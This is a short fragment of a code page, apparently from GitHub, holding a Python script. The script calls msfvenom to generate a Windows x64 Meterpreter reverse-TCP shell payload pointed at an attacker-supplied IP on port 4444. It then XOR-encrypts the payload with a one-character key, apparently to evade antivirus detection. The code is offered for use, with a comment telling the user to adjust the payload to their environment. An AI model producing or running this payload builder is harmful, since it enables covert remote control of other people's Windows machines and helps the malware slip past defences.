You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
os.system("""msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST={} LPORT=4444 -f raw -o output.reverse""".format(ip)) # you have to adjust the payload for your environment.
#file read
f = open("output.reverse","r")
payload = f.read()
f.close()
key = "b" # xor keys
#xor encryption
encryptedPayload = ''.join(chr(ord(c)^ord(k)) for c,k in zip(payload, cycle(key)))